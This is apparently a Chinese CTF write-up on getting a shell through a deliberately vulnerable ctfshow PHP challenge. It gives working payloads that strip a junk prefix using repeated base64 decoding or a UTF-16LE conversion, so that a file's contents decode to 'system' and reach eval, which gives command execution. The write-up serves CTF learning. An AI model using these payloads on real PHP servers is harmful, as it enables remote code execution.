多次base64编码过滤垃圾字符
看这个问题,如何进行getshell?
<?php
$content = "ctfshowshowshowwww".$_GET['content'];
file_put_contents($_GET['name'].".txt",$content);
$b = file_get_contents("test.txt");
eval($b($_GET['cmd']));
?>
"ctfshowshowshowwww".base64的n次编码,然后我们希望对它进行n次解码之后出现system,那么反推第n-1解码后必定为:非base64编码字符 + base64_encode('system')。我们可以先对ctfshowshowshowwww进行一次base64解码,发现属于base64编码的字符只有r0,我们希望r0+两个base64编码字符,然后进行一次base64解码可以解出非base64编码字符!
<?php
$a = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
for($b=0;$b<strlen($a);$b++) {for($d=0;$d<strlen($a);$d++) {$c = 'r0'.$a[$b].$a[$d];echo base64_decode($c)." ".$a[$b]." ".$a[$d]. "<br>";}
}
借用这个php脚本进行遍历查找
这里我们使用AV是可以的!也就是说我们希望对目标字符进行第一次解码之后得到的结果是:r0AV + system的2次base64编码。
那么反推回去就是我们需要构造:AV@的base64编码 + system的三次base64编码(之所以要加@是因为base64解码是4变3,而@属于非base64编码字符),所以r0AV@就等价r0Av了!所以最后的payload:
<?php
$a=base64_decode("ctfshowshowshowwwwaaQVZAWXpOc2VtUkhWblE9");
$b=base64_decode($a);
$c=base64_decode($b);
echo $c;
?>//结果为system,成功去掉垃圾字符的影响
其他(只用一次base64编码)思路来自于元旦水友赛eazy_web
除了多次base64编码还可以用其他编码配合base64进行垃圾过滤
utf-8到utf-16le就是在每个字符后面加上一个不可见字符,那么相应的没有\0的就会被转换为乱码
<?php
#$a="a\0a\0a\0a\0a\0a\0"; #输出aaaaaa
$a="aaaaaa"; #输出乱码
echo strlen($a);
echo "<br>";
$b = mb_convert_encoding($a,'utf-8','utf-16le');
echo strlen($b).$b;
?>
也就是说我们可以将可控的字符转化成utf-16le那么前面的垃圾字符ctfshowshowshowwww就会在utf-16le到utf-8的时候变成乱码,这个时候再来一次base64解码,就会彻底甩掉垃圾字符,原理还是将垃圾字符转化成非base64编码字符!
<?php
$a="ctfshowshowshowwwwc".chr(0)."3\0l\0z\0d\0G\0V\0t\0";
echo strlen($a);
echo "<br>";
$b = mb_convert_encoding($a,'utf-8','utf-16le');
echo strlen($b).$b;
echo "<br>";
echo base64_decode($b); #成功过滤输出system
?>
非常nice!